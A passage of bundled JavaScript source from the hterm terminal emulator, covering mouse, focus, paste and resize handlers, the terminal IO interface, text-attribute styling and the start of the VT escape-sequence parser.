if (e.type == 'mousedown') {// Move the scroll-blocker into place if we want to keep the scrollport
// from scrolling.
this.scrollBlockerNode_.engaged = true; this.scrollBlockerNode_.style.top = e.clientY - 5 + 'px'; this.scrollBlockerNode_.style.left = e.clientX - 5 + 'px';
} else if (e.type == 'mousemove') {// Oh.  This means that drag-scroll was disabled AFTER the mouse down,
// in which case it's too late to engage the scroll-blocker.
this.document_.getSelection().collapseToEnd(); e.preventDefault();
}
} this.onMouse(e);
} if (e.type == 'mouseup' && this.document_.getSelection().isCollapsed) {// Restore this on mouseup in case it was temporarily defeated with a
// alt-mousedown.  Only do this when the selection is empty so that
// we don't immediately kill the users selection.
this.defeatMouseReports_ = false;
}
};/**
* Clients should override this if they care to know about mouse events.
*
* The event parameter will be a normal DOM mouse click event with additional
* 'terminalRow' and 'terminalColumn' properties.
*
* @param {Event} e The mouse event to handle.
*/hterm.Terminal.prototype.onMouse = function (e) { };/**
* React when focus changes.
*
* @param {boolean} focused True if focused, false otherwise.
*/hterm.Terminal.prototype.onFocusChange_ = function (focused) { this.cursorNode_.setAttribute('focus', focused); this.restyleCursor_(); if (this.reportFocus) this.io.sendString(focused === true ? '\x1b[I' : '\x1b[O'); if (focused === true) this.closeBellNotifications_(); };/**
* React when the ScrollPort is scrolled.
*/hterm.Terminal.prototype.onScroll_ = function () { this.scheduleSyncCursorPosition_(); };/**
* React when text is pasted into the scrollPort.
*
* @param {Event} e The DOM paste event to handle.
*/hterm.Terminal.prototype.onPaste_ = function (e) {
var data = e.text.replace(/\n/mg, '\r'); data = this.keyboard.encode(data); if (this.options_.bracketedPaste) {// We strip out most escape sequences as they can cause issues (like
// inserting an \x1b[201~ midstream).  We pass through whitespace
// though: 0x08:\b 0x09:\t 0x0a:\n 0x0d:\r.
// This matches xterm behavior.
var filter = function filter(data) { return data.replace(/[\x00-\x07\x0b-\x0c\x0e-\x1f]/g, ''); }; data = '\x1b[200~' + filter(data) + '\x1b[201~';
} this.io.sendString(data);
};/**
* React when the user tries to copy from the scrollPort.
*
* @param {Event} e The DOM copy event.
*/hterm.Terminal.prototype.onCopy_ = function (e) { if (!this.useDefaultWindowCopy) { e.preventDefault(); setTimeout(this.copySelectionToClipboard.bind(this), 0); } };/**
* React when the ScrollPort is resized.
*
* Note: This function should not directly contain code that alters the internal
* state of the terminal.  That kind of code belongs in realizeWidth or
* realizeHeight, so that it can be executed synchronously in the case of a
* programmatic width change.
*/hterm.Terminal.prototype.onResize_ = function () {
var columnCount = Math.floor(this.scrollPort_.getScreenWidth() / this.scrollPort_.characterSize.width) || 0; var rowCount = lib.f.smartFloorDivide(this.scrollPort_.getScreenHeight(), this.scrollPort_.characterSize.height) || 0; if (columnCount <= 0 || rowCount <= 0) {// We avoid these situations since they happen sometimes when the terminal
// gets removed from the document or during the initial load, and we can't
// deal with that.
// This can also happen if called before the scrollPort calculates the
// character size, meaning we dived by 0 above and default to 0 values.
return;
} var isNewSize = columnCount != this.screenSize.width || rowCount != this.screenSize.height;// We do this even if the size didn't change, just to be sure everything is
// in sync.
this.realizeSize_(columnCount, rowCount); this.showZoomWarning_(this.scrollPort_.characterSize.zoomFactor != 1); if (isNewSize) this.overlaySize(); this.restyleCursor_(); this.scheduleSyncCursorPosition_();
};/**
* Service the cursor blink timeout.
*/hterm.Terminal.prototype.onCursorBlink_ = function () { if (!this.options_.cursorBlink) { delete this.timeouts_.cursorBlink; return; } if (this.cursorNode_.getAttribute('focus') == 'false' || this.cursorNode_.style.opacity == '0') { this.cursorNode_.style.opacity = '1'; this.timeouts_.cursorBlink = setTimeout(this.myOnCursorBlink_, this.cursorBlinkCycle_[0]); } else { this.cursorNode_.style.opacity = '0'; this.timeouts_.cursorBlink = setTimeout(this.myOnCursorBlink_, this.cursorBlinkCycle_[1]); } };/**
* Set the scrollbar-visible mode bit.
*
* If scrollbar-visible is on, the vertical scrollbar will be visible.
* Otherwise it will not.
*
* Defaults to on.
*
* @param {boolean} state True to set scrollbar-visible mode, false to unset.
*/hterm.Terminal.prototype.setScrollbarVisible = function (state) { this.scrollPort_.setScrollbarVisible(state); };/**
* Set the scroll wheel move multiplier.  This will affect how fast the page
* scrolls on wheel events.
*
* Defaults to 1.
*
* @param {number} multiplier The multiplier to set.
*/hterm.Terminal.prototype.setScrollWheelMoveMultipler = function (multiplier) { this.scrollPort_.setScrollWheelMoveMultipler(multiplier); };/**
* Close all web notifications created by terminal bells.
*/hterm.Terminal.prototype.closeBellNotifications_ = function () { this.bellNotificationList_.forEach(function (n) { n.close(); }); this.bellNotificationList_.length = 0; };// SOURCE FILE: hterm/js/hterm_terminal_io.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict'; lib.rtdep('lib.encodeUTF8');/**
* Input/Output interface used by commands to communicate with the terminal.
*
* Commands like `nassh` and `crosh` receive an instance of this class as
* part of their argv object.  This allows them to write to and read from the
* terminal without exposing them to an entire hterm.Terminal instance.
*
* The active command must override the onVTKeystroke() and sendString() methods
* of this class in order to receive keystrokes and send output to the correct
* destination.
*
* Isolating commands from the terminal provides the following benefits:
* - Provides a mechanism to save and restore onVTKeystroke and sendString
*   handlers when invoking subcommands (see the push() and pop() methods).
* - The isolation makes it easier to make changes in Terminal and supporting
*   classes without affecting commands.
* - In The Future commands may run in web workers where they would only be able
*   to talk to a Terminal instance through an IPC mechanism.
*
* @param {hterm.Terminal}
*/hterm.Terminal.IO = function (terminal) {
this.terminal_ = terminal;// The IO object to restore on IO.pop().
this.previousIO_ = null;// Any data this object accumulated while not active.
this.buffered_ = '';
};/**
* Show the terminal overlay for a given amount of time.
*
* The terminal overlay appears in inverse video in a large font, centered
* over the terminal.  You should probably keep the overlay message brief,
* since it's in a large font and you probably aren't going to check the size
* of the terminal first.
*
* @param {string} msg The text (not HTML) message to display in the overlay.
* @param {number} opt_timeout The amount of time to wait before fading out
*     the overlay.  Defaults to 1.5 seconds.  Pass null to have the overlay
*     stay up forever (or until the next overlay).
*/hterm.Terminal.IO.prototype.showOverlay = function (message, opt_timeout) { this.terminal_.showOverlay(message, opt_timeout); };/**
* Hide the current overlay immediately.
*
* Useful when we show an overlay for an event with an unknown end time.
*/hterm.Terminal.IO.prototype.hideOverlay = function () { this.terminal_.hideOverlay(); };/**
* Open an frame in the current terminal window, pointed to the specified
* url.
*
* Eventually we'll probably need size/position/decoration options.
* The user should also be able to move/resize the frame.
*
* @param {string} url The URL to load in the frame.
* @param {Object} opt_options Optional frame options.  Not implemented.
*/hterm.Terminal.IO.prototype.createFrame = function (url, opt_options) { return new hterm.Frame(this.terminal_, url, opt_options); };/**
* Change the preference profile for the terminal.
*
* @param profileName {string} The name of the preference profile to activate.
*/hterm.Terminal.IO.prototype.setTerminalProfile = function (profileName) { this.terminal_.setProfile(profileName); };/**
* Create a new hterm.Terminal.IO instance and make it active on the Terminal
* object associated with this instance.
*
* This is used to pass control of the terminal IO off to a subcommand.  The
* IO.pop() method can be used to restore control when the subcommand completes.
*/hterm.Terminal.IO.prototype.push = function () { var io = new hterm.Terminal.IO(this.terminal_); io.keyboardCaptured_ = this.keyboardCaptured_; io.columnCount = this.columnCount; io.rowCount = this.rowCount; io.previousIO_ = this.terminal_.io; this.terminal_.io = io; return io; };/**
* Restore the Terminal's previous IO object.
*
* We'll flush out any queued data.
*/hterm.Terminal.IO.prototype.pop = function () { this.terminal_.io = this.previousIO_; this.previousIO_.flush(); };/**
* Flush accumulated data.
*
* If we're not the active IO, the connected process might still be writing
* data to us, but we won't be displaying it.  Flush any buffered data now.
*/hterm.Terminal.IO.prototype.flush = function () { if (this.buffered_) { this.terminal_.interpret(this.buffered_); this.buffered_ = ''; } };/**
* Called when data needs to be sent to the current command.
*
* Clients should override this to receive notification of pending data.
*
* @param {string} string The data to send.
*/hterm.Terminal.IO.prototype.sendString = function (string) {// Override this.
console.log('Unhandled sendString: ' + string);
};/**
* Called when a terminal keystroke is detected.
*
* Clients should override this to receive notification of keystrokes.
*
* The keystroke data will be encoded according to the 'send-encoding'
* preference.
*
* @param {string} string The VT key sequence.
*/hterm.Terminal.IO.prototype.onVTKeystroke = function (string) {// Override this.
console.log('Unobserverd VT keystroke: ' + JSON.stringify(string));
}; hterm.Terminal.IO.prototype.onTerminalResize_ = function (width, height) { var obj = this; while (obj) { obj.columnCount = width; obj.rowCount = height; obj = obj.previousIO_; } this.onTerminalResize(width, height); };/**
* Called when terminal size is changed.
*
* Clients should override this to receive notification of resize.
*
* @param {string|integer} terminal width.
* @param {string|integer} terminal height.
*/hterm.Terminal.IO.prototype.onTerminalResize = function (width, height) {// Override this.
};/**
* Write a UTF-8 encoded byte string to the terminal.
*
* @param {string} string The UTF-8 encoded string to print.
*/hterm.Terminal.IO.prototype.writeUTF8 = function (string) {// If another process has the foreground IO, buffer new data sent to this IO
// (since it's in the background).  When we're made the foreground IO again,
// we'll flush everything.
if (this.terminal_.io != this) { this.buffered_ += string; return; } this.terminal_.interpret(string);
};/**
* Write a UTF-8 encoded byte string to the terminal followed by crlf.
*
* @param {string} string The UTF-8 encoded string to print.
*/hterm.Terminal.IO.prototype.writelnUTF8 = function (string) { this.writeUTF8(string + '\r\n'); };/**
* Write a UTF-16 JavaScript string to the terminal.
*
* @param {string} string The string to print.
*/hterm.Terminal.IO.prototype.print = hterm.Terminal.IO.prototype.writeUTF16 = function (string) { this.writeUTF8(lib.encodeUTF8(string)); };/**
* Print a UTF-16 JavaScript string to the terminal followed by a newline.
*
* @param {string} string The string to print.
*/hterm.Terminal.IO.prototype.println = hterm.Terminal.IO.prototype.writelnUTF16 = function (string) { this.writelnUTF8(lib.encodeUTF8(string)); };// SOURCE FILE: hterm/js/hterm_text_attributes.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict'; lib.rtdep('lib.colors');/**
* Constructor for TextAttribute objects.
*
* These objects manage a set of text attributes such as foreground/
* background color, bold, faint, italic, blink, underline, and strikethrough.
*
* TextAttribute instances can be used to construct a DOM container implementing
* the current attributes, or to test an existing DOM container for
* compatibility with the current attributes.
*
* @constructor
* @param {HTMLDocument} document The parent document to use when creating
*     new DOM containers.
*/hterm.TextAttributes = function (document) {
this.document_ = document;// These variables contain the source of the color as either:
// SRC_DEFAULT  (use context default)
// rgb(...)     (true color form)
// number       (representing the index from color palette to use)
this.foregroundSource = this.SRC_DEFAULT; this.backgroundSource = this.SRC_DEFAULT; this.underlineSource = this.SRC_DEFAULT;// These properties cache the value in the color table, but foregroundSource
// and backgroundSource contain the canonical values.
this.foreground = this.DEFAULT_COLOR; this.background = this.DEFAULT_COLOR; this.underlineColor = this.DEFAULT_COLOR; this.defaultForeground = 'rgb(255, 255, 255)'; this.defaultBackground = 'rgb(0, 0, 0)';// Any attributes added here that do not default to falsey (e.g. undefined or
// null) require a bit more care.  createContainer has to always attach the
// attribute so matchesContainer can work correctly.
this.bold = false; this.faint = false; this.italic = false; this.blink = false; this.underline = false; this.strikethrough = false; this.inverse = false; this.invisible = false; this.wcNode = false; this.asciiNode = true; this.tileData = null; this.uri = null; this.uriId = null; this.colorPalette = null; this.resetColorPalette();
};/**
* If false, we ignore the bold attribute.
*
* This is used for fonts that have a bold version that is a different size
* than the normal weight version.
*/hterm.TextAttributes.prototype.enableBold = true;/**
* If true, use bright colors (if available) for bold text.
*
* This setting is independent of the enableBold setting.
*/hterm.TextAttributes.prototype.enableBoldAsBright = true;/**
* A sentinel constant meaning "whatever the default color is in this context".
*/hterm.TextAttributes.prototype.DEFAULT_COLOR = lib.f.createEnum('');/**
* A constant string used to specify that source color is context default.
*/hterm.TextAttributes.prototype.SRC_DEFAULT = 'default';/**
* The document object which should own the DOM nodes created by this instance.
*
* @param {HTMLDocument} document The parent document.
*/hterm.TextAttributes.prototype.setDocument = function (document) { this.document_ = document; };/**
* Create a deep copy of this object.
*
* @return {hterm.TextAttributes} A deep copy of this object.
*/hterm.TextAttributes.prototype.clone = function () { var rv = new hterm.TextAttributes(null); for (var key in this) { rv[key] = this[key]; } rv.colorPalette = this.colorPalette.concat(); return rv; };/**
* Reset the current set of attributes.
*
* This does not affect the palette.  Use resetColorPalette() for that.
* It also doesn't affect the tile data, it's not meant to.
*/hterm.TextAttributes.prototype.reset = function () { this.foregroundSource = this.SRC_DEFAULT; this.backgroundSource = this.SRC_DEFAULT; this.underlineSource = this.SRC_DEFAULT; this.foreground = this.DEFAULT_COLOR; this.background = this.DEFAULT_COLOR; this.underlineColor = this.DEFAULT_COLOR; this.bold = false; this.faint = false; this.italic = false; this.blink = false; this.underline = false; this.strikethrough = false; this.inverse = false; this.invisible = false; this.wcNode = false; this.asciiNode = true; this.uri = null; this.uriId = null; };/**
* Reset the color palette to the default state.
*/hterm.TextAttributes.prototype.resetColorPalette = function () { this.colorPalette = lib.colors.colorPalette.concat(); this.syncColors(); };/**
* Reset the color.
*
* @param {integer|string} index The color index in the palette to reset.
*/hterm.TextAttributes.prototype.resetColor = function (index) { index = parseInt(index, 10); if (isNaN(index) || index >= this.colorPalette.length) return; this.colorPalette[index] = lib.colors.stockColorPalette[index]; this.syncColors(); };/**
* Test if the current attributes describe unstyled text.
*
* @return {boolean} True if the current attributes describe unstyled text.
*/hterm.TextAttributes.prototype.isDefault = function () { return this.foregroundSource == this.SRC_DEFAULT && this.backgroundSource == this.SRC_DEFAULT && !this.bold && !this.faint && !this.italic && !this.blink && !this.underline && !this.strikethrough && !this.inverse && !this.invisible && !this.wcNode && this.asciiNode && this.tileData == null && this.uri == null; };/**
* Create a DOM container (a span or a text node) with a style to match the
* current set of attributes.
*
* This method will create a plain text node if the text is unstyled, or
* an HTML span if the text is styled.  Due to lack of monospace wide character
* fonts on certain systems (e.g. Chrome OS), we need to put each wide character
* in a span of CSS class '.wc-node' which has double column width.
* Each vt_tiledata tile is also represented by a span with a single
* character, with CSS classes '.tile' and '.tile_<glyph number>'.
*
* @param {string} opt_textContent Optional text content for the new container.
* @return {HTMLNode} An HTML span or text nodes styled to match the current
*     attributes.
*/hterm.TextAttributes.prototype.createContainer = function (opt_textContent) {
if (this.isDefault()) {// Only attach attributes where we need an explicit default for the
// matchContainer logic below.
var node = this.document_.createTextNode(opt_textContent); node.asciiNode = true; return node;
} var span = this.document_.createElement('span'); var style = span.style; var classes = []; if (this.foreground != this.DEFAULT_COLOR) style.color = this.foreground; if (this.background != this.DEFAULT_COLOR) style.backgroundColor = this.background; if (this.enableBold && this.bold) style.fontWeight = 'bold'; if (this.faint) span.faint = true; if (this.italic) style.fontStyle = 'italic'; if (this.blink) { classes.push('blink-node'); span.blinkNode = true; } var textDecorationLine = ''; span.underline = this.underline; if (this.underline) { textDecorationLine += ' underline'; style.textDecorationStyle = this.underline; } if (this.underlineSource != this.SRC_DEFAULT) style.textDecorationColor = this.underlineColor; if (this.strikethrough) { textDecorationLine += ' line-through'; span.strikethrough = true; } if (textDecorationLine) style.textDecorationLine = textDecorationLine; if (this.wcNode) { classes.push('wc-node'); span.wcNode = true; } span.asciiNode = this.asciiNode; if (this.tileData != null) { classes.push('tile'); classes.push('tile_' + this.tileData); span.tileNode = true; } if (opt_textContent) span.textContent = opt_textContent; if (this.uri) { classes.push('uri-node'); span.uriId = this.uriId; span.title = this.uri; span.addEventListener('click', hterm.openUrl.bind(this, this.uri)); } if (classes.length) span.className = classes.join(' '); return span;
};/**
* Tests if the provided object (string, span or text node) has the same
* style as this TextAttributes instance.
*
* This indicates that text with these attributes could be inserted directly
* into the target DOM node.
*
* For the purposes of this method, a string is considered a text node.
*
* @param {string|HTMLNode} obj The object to test.
* @return {boolean} True if the provided container has the same style as
*     this attributes instance.
*/hterm.TextAttributes.prototype.matchesContainer = function (obj) {
if (typeof obj == 'string' || obj.nodeType == Node.TEXT_NODE) return this.isDefault(); var style = obj.style;// We don't want to put multiple characters in a wcNode or a tile.
// See the comments in createContainer.
// For attributes that default to false, we do not require that obj have them
// declared, so always normalize them using !! (to turn undefined into false)
// in the compares below.
return !(this.wcNode || obj.wcNode) && this.asciiNode == obj.asciiNode && !(this.tileData != null || obj.tileNode) && this.uriId == obj.uriId && this.foreground == style.color && this.background == style.backgroundColor && this.underlineColor == style.textDecorationColor && (this.enableBold && this.bold) == !!style.fontWeight && this.blink == !!obj.blinkNode && this.italic == !!style.fontStyle && this.underline == obj.underline && !!this.strikethrough == !!obj.strikethrough;
}; hterm.TextAttributes.prototype.setDefaults = function (foreground, background) { this.defaultForeground = foreground; this.defaultBackground = background; this.syncColors(); };/**
* Updates foreground and background properties based on current indices and
* other state.
*
* @param {string} terminalForeground The terminal foreground color for use as
*     inverse text background.
* @param {string} terminalBackground The terminal background color for use as
*     inverse text foreground.
*
*/hterm.TextAttributes.prototype.syncColors = function () {
function getBrightIndex(i) {
if (i < 8) {// If the color is from the lower half of the ANSI 16, add 8.
return i + 8;
}// If it's not from the 16 color palette, ignore bold requests.  This
// matches the behavior of gnome-terminal.
return i;
} var foregroundSource = this.foregroundSource; var backgroundSource = this.backgroundSource; var defaultForeground = this.DEFAULT_COLOR; var defaultBackground = this.DEFAULT_COLOR; if (this.inverse) {
foregroundSource = this.backgroundSource; backgroundSource = this.foregroundSource;// We can't inherit the container's color anymore.
defaultForeground = this.defaultBackground; defaultBackground = this.defaultForeground;
} if (this.enableBoldAsBright && this.bold) { if (Number.isInteger(foregroundSource)) { foregroundSource = getBrightIndex(foregroundSource); } } if (foregroundSource == this.SRC_DEFAULT) this.foreground = defaultForeground; else if (Number.isInteger(foregroundSource)) this.foreground = this.colorPalette[foregroundSource]; else this.foreground = foregroundSource; if (this.faint) { var colorToMakeFaint = this.foreground == this.DEFAULT_COLOR ? this.defaultForeground : this.foreground; this.foreground = lib.colors.mix(colorToMakeFaint, 'rgb(0, 0, 0)', 0.3333); } if (backgroundSource == this.SRC_DEFAULT) this.background = defaultBackground; else if (Number.isInteger(backgroundSource)) this.background = this.colorPalette[backgroundSource]; else this.background = backgroundSource;// Process invisible settings last to keep it simple.
if (this.invisible) this.foreground = this.background; if (this.underlineSource == this.SRC_DEFAULT) this.underlineColor = ''; else if (Number.isInteger(this.underlineSource)) this.underlineColor = this.colorPalette[this.underlineSource]; else this.underlineColor = this.underlineSource;
};/**
* Static method used to test if the provided objects (strings, spans or
* text nodes) have the same style.
*
* For the purposes of this method, a string is considered a text node.
*
* @param {string|HTMLNode} obj1 An object to test.
* @param {string|HTMLNode} obj2 Another object to test.
* @return {boolean} True if the containers have the same style.
*/hterm.TextAttributes.containersMatch = function (obj1, obj2) { if (typeof obj1 == 'string') return hterm.TextAttributes.containerIsDefault(obj2); if (obj1.nodeType != obj2.nodeType) return false; if (obj1.nodeType == Node.TEXT_NODE) return true; var style1 = obj1.style; var style2 = obj2.style; return style1.color == style2.color && style1.backgroundColor == style2.backgroundColor && style1.backgroundColor == style2.backgroundColor && style1.fontWeight == style2.fontWeight && style1.fontStyle == style2.fontStyle && style1.textDecoration == style2.textDecoration && style1.textDecorationColor == style2.textDecorationColor && style1.textDecorationStyle == style2.textDecorationStyle && style1.textDecorationLine == style2.textDecorationLine; };/**
* Static method to test if a given DOM container represents unstyled text.
*
* For the purposes of this method, a string is considered a text node.
*
* @param {string|HTMLNode} obj1 An object to test.
* @return {boolean} True if the object is unstyled.
*/hterm.TextAttributes.containerIsDefault = function (obj) { return typeof obj == 'string' || obj.nodeType == Node.TEXT_NODE; };/**
* Static method to get the column width of a node's textContent.
*
* @param {HTMLElement} node The HTML element to get the width of textContent
*     from.
* @return {integer} The column width of the node's textContent.
*/hterm.TextAttributes.nodeWidth = function (node) { if (!node.asciiNode) { return lib.wc.strWidth(node.textContent); } else { return node.textContent.length; } };/**
* Static method to get the substr of a node's textContent.  The start index
* and substr width are computed in column width.
*
* @param {HTMLElement} node The HTML element to get the substr of textContent
*     from.
* @param {integer} start The starting offset in column width.
* @param {integer} width The width to capture in column width.
* @return {integer} The extracted substr of the node's textContent.
*/hterm.TextAttributes.nodeSubstr = function (node, start, width) { if (!node.asciiNode) { return lib.wc.substr(node.textContent, start, width); } else { return node.textContent.substr(start, width); } };/**
* Static method to get the substring based of a node's textContent.  The
* start index of end index are computed in column width.
*
* @param {HTMLElement} node The HTML element to get the substr of textContent
*     from.
* @param {integer} start The starting offset in column width.
* @param {integer} end The ending offset in column width.
* @return {integer} The extracted substring of the node's textContent.
*/hterm.TextAttributes.nodeSubstring = function (node, start, end) { if (!node.asciiNode) { return lib.wc.substring(node.textContent, start, end); } else { return node.textContent.substring(start, end); } };/**
* Static method to split a string into contiguous runs of single-width
* characters and runs of double-width characters.
*
* @param {string} str The string to split.
* @return {Array} An array of objects that contain substrings of str, where
*     each substring is either a contiguous runs of single-width characters
*     or a double-width character.  For objects that contain a double-width
*     character, its wcNode property is set to true.  For objects that contain
*     only ASCII content, its asciiNode property is set to true.
*/hterm.TextAttributes.splitWidecharString = function (str) { var rv = []; var base = 0, length = 0, wcStrWidth = 0, wcCharWidth; var asciiNode = true; for (var i = 0; i < str.length;) { var c = str.codePointAt(i); var increment; if (c < 128) { wcStrWidth += 1; length += 1; increment = 1; } else { increment = c <= 0xffff ? 1 : 2; wcCharWidth = lib.wc.charWidth(c); if (wcCharWidth <= 1) { wcStrWidth += wcCharWidth; length += increment; asciiNode = false; } else { if (length) { rv.push({ str: str.substr(base, length), asciiNode: asciiNode, wcStrWidth: wcStrWidth }); asciiNode = true; wcStrWidth = 0; } rv.push({ str: str.substr(i, increment), wcNode: true, asciiNode: false, wcStrWidth: 2 }); base = i + increment; length = 0; } } i += increment; } if (length) { rv.push({ str: str.substr(base, length), asciiNode: asciiNode, wcStrWidth: wcStrWidth }); } return rv; };// SOURCE FILE: hterm/js/hterm_vt.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict'; lib.rtdep('lib.colors', 'lib.f', 'lib.UTF8Decoder', 'hterm.VT.CharacterMap');/**
* Constructor for the VT escape sequence interpreter.
*
* The interpreter operates on a terminal object capable of performing cursor
* move operations, painting characters, etc.
*
* This interpreter is intended to be compatible with xterm, though it
* ignores some of the more esoteric escape sequences.
*
* Control sequences are documented in hterm/doc/ControlSequences.md.
*
* @param {hterm.Terminal} terminal Terminal to use with the interpreter.
*/hterm.VT = function (terminal) {/**
* The display terminal object associated with this virtual terminal.
*/this.terminal = terminal; terminal.onMouse = this.onTerminalMouse_.bind(this); this.mouseReport = this.MOUSE_REPORT_DISABLED; this.mouseCoordinates = this.MOUSE_COORDINATES_X10;// We only want to report mouse moves between cells, not between pixels.
this.lastMouseDragResponse_ = null;// Parse state left over from the last parse.  You should use the parseState
// instance passed into your parse routine, rather than reading
// this.parseState_ directly.
this.parseState_ = new hterm.VT.ParseState(this.parseUnknown_);// Any "leading modifiers" for the escape sequence, such as '?', ' ', or the
// other modifiers handled in this.parseCSI_.
this.leadingModifier_ = '';// Any "trailing modifiers".  Same character set as a leading modifier,
// except these are found after the numeric arguments.
this.trailingModifier_ = '';// Whether or not to respect the escape codes for setting terminal width.
this.allowColumnWidthChanges_ = false;// The amount of time we're willing to wait for the end of an OSC sequence.
this.oscTimeLimit_ = 20000;// Decoder to maintain UTF-8 decode state.
this.utf8Decoder_ = new lib.UTF8Decoder();/**
* Whether to accept the 8-bit control characters.
*
* An 8-bit control character is one with the eighth bit set.  These
* didn't work on 7-bit terminals so they all have two byte equivalents.
* Most hosts still only use the two-byte versions.
*
* We ignore 8-bit control codes by default.  This is in order to avoid
* issues with "accidental" usage of codes that need to be terminated.
* The "accident" usually involves cat'ing binary data.
*/this.enable8BitControl = false;/**
* Whether to allow the OSC 52 sequence to write to the system clipboard.
*/this.enableClipboardWrite = true;/**
* Respect the host's attempt to change the cursor blink status using
* the DEC Private mode 12.
*/this.enableDec12 = false;/**
* The expected encoding method for data received from the host.
*/this.characterEncoding = 'utf-8';/**
* If true, emit warnings when we encounter a control character or escape
* sequence that we don't recognize or explicitly ignore.
*
* We disable this by default as the console logging can be expensive when
* dumping binary files (e.g. `cat /dev/zero`) to the point where you can't
* recover w/out restarting.
*/this.warnUnimplemented = false;/**
* The set of available character maps (used by G0...G3 below).
*/this.characterMaps = new hterm.VT.CharacterMaps();/**
* The default G0...G3 character maps.
* We default to the US/ASCII map everywhere as that aligns with other
* terminals, and it makes it harder to accidentally switch to the graphics
* character map (Ctrl-N).  Any program that wants to use the graphics map
* will usually select it anyways since there's no guarantee what state any
* of the maps are in at any particular time.
*/this.G0 = this.G1 = this.G2 = this.G3 = this.characterMaps.getMap('B');/**
* The 7-bit visible character set.
*
* This is a mapping from inbound data to display glyph.  The GL set
* contains the 94 bytes from 0x21 to 0x7e.
*
* The default GL set is 'B', US ASCII.
*/this.GL = 'G0';/**
* The 8-bit visible character set.
*
* This is a mapping from inbound data to display glyph.  The GR set
* contains the 94 bytes from 0xa1 to 0xfe.
*/this.GR = 'G0';/**
* The current encoding of the terminal.
*
* We only support ECMA-35 and UTF-8, so go with a boolean here.
* The encoding can be locked too.
*/this.codingSystemUtf8_ = false; this.codingSystemLocked_ = false;// Construct a regular expression to match the known one-byte control chars.
// This is used in parseUnknown_ to quickly scan a string for the next
// control character.
this.cc1Pattern_ = null; this.updateEncodingState_();
};/**
* No mouse events.
*/hterm.VT.prototype.MOUSE_REPORT_DISABLED = 0;/**
* DECSET mode 9.
*
* Report mouse down events only.
*/hterm.VT.prototype.MOUSE_REPORT_PRESS = 1;/**
* DECSET mode 1000.
*
* Report mouse down/up events only.
*/hterm.VT.prototype.MOUSE_REPORT_CLICK = 2;/**
* DECSET mode 1002.
*
* Report mouse down/up and movement while a button is down.
*/hterm.VT.prototype.MOUSE_REPORT_DRAG = 3;/**
* DEC mode for X10 coorindates (the default).
*/hterm.VT.prototype.MOUSE_COORDINATES_X10 = 0;/**
* DEC mode 1005 for UTF-8 coorindates.
*/hterm.VT.prototype.MOUSE_COORDINATES_UTF8 = 1;/**
* DEC mode 1006 for SGR coorindates.
*/hterm.VT.prototype.MOUSE_COORDINATES_SGR = 2;/**
* ParseState constructor.
*
* This object tracks the current state of the parse.  It has fields for the
* current buffer, position in the buffer, and the parse function.
*
* @param {function} defaultFunc The default parser function.
* @param {string} opt_buf Optional string to use as the current buffer.
*/hterm.VT.ParseState = function (defaultFunction, opt_buf) {
this.defaultFunction = defaultFunction; this.buf = opt_buf || null; this.pos = 0; this.func = defaultFunction; this.args = [];// Whether any of the arguments in the args array have subarguments.
// e.g. All CSI sequences are integer arguments separated by semi-colons,
// so subarguments are further colon separated.
this.subargs = null;
};/**
* Reset the parser function, buffer, and position.
*/hterm.VT.ParseState.prototype.reset = function (opt_buf) { this.resetParseFunction(); this.resetBuf(opt_buf || ''); this.resetArguments(); };/**
* Reset the parser function only.
*/hterm.VT.ParseState.prototype.resetParseFunction = function () { this.func = this.defaultFunction; };/**
* Reset the buffer and position only.
*
* @param {string} buf Optional new value for buf, defaults to null.
*/hterm.VT.ParseState.prototype.resetBuf = function (opt_buf) { this.buf = typeof opt_buf == 'string' ? opt_buf : null; this.pos = 0; };/**
* Reset the arguments list only.
*
* Typically we reset arguments before parsing a sequence that uses them rather
* than always trying to make sure they're in a good state.  This can lead to
* confusion during debugging where args from a previous sequence appear to be
* "sticking around" in other sequences (which in reality don't use args).
*
* @param {string} opt_arg_zero Optional initial value for args[0].
*/hterm.VT.ParseState.prototype.resetArguments = function (opt_arg_zero) { this.args.length = 0; if (typeof opt_arg_zero != 'undefined') this.args[0] = opt_arg_zero; };/**
* Parse an argument as an integer.
*
* This assumes the inputs are already in the proper format.  e.g. This won't
* handle non-numeric arguments.
*
* An "0" argument is treated the same as "" which means the default value will
* be applied.  This is what most terminal sequences expect.
*
* @param {string} argstr The argument to parse directly.
* @param {number=} defaultValue Default value if argstr is empty.
* @return {number} The parsed value.
*/hterm.VT.ParseState.prototype.parseInt = function (argstr, defaultValue) {
if (defaultValue === undefined) defaultValue = 0; if (argstr) {
var ret = parseInt(argstr, 10);// An argument of zero is treated as the default value.
return ret == 0 ? defaultValue : ret;
} return defaultValue;
};/**
* Get an argument as an integer.
*
* @param {number} argnum The argument number to retrieve.
* @param {number=} defaultValue Default value if the argument is empty.
* @return {number} The parsed value.
*/hterm.VT.ParseState.prototype.iarg = function (argnum, defaultValue) { return this.parseInt(this.args[argnum], defaultValue); };/**
* Check whether an argument has subarguments.
*
* @param {number} argnum The argument number to check.
* @return {number} Whether the argument has subarguments.
*/hterm.VT.ParseState.prototype.argHasSubargs = function (argnum) { return this.subargs && this.subargs[argnum]; };/**
* Mark an argument as having subarguments.
*
* @param {number} argnum The argument number that has subarguments.
*/hterm.VT.ParseState.prototype.argSetSubargs = function (argnum) { if (this.subargs === null) this.subargs = {}; this.subargs[argnum] = true; };/**
* Advance the parse position.
*
* @param {integer} count The number of bytes to advance.
*/hterm.VT.ParseState.prototype.advance = function (count) { this.pos += count; };/**
* Return the remaining portion of the buffer without affecting the parse
* position.
*
* @return {string} The remaining portion of the buffer.
*/hterm.VT.ParseState.prototype.peekRemainingBuf = function () { return this.buf.substr(this.pos); };/**
* Return the next single character in the buffer without affecting the parse
* position.
*
* @return {string} The next character in the buffer.
*/hterm.VT.ParseState.prototype.peekChar = function () { return this.buf.substr(this.pos, 1); };/**
* Return the next single character in the buffer and advance the parse
* position one byte.
*
* @return {string} The next character in the buffer.
*/hterm.VT.ParseState.prototype.consumeChar = function () { return this.buf.substr(this.pos++, 1); };/**
* Return true if the buffer is empty, or the position is past the end.
*/hterm.VT.ParseState.prototype.isComplete = function () { return this.buf == null || this.buf.length <= this.pos; };/**
* Reset the VT back to baseline state.
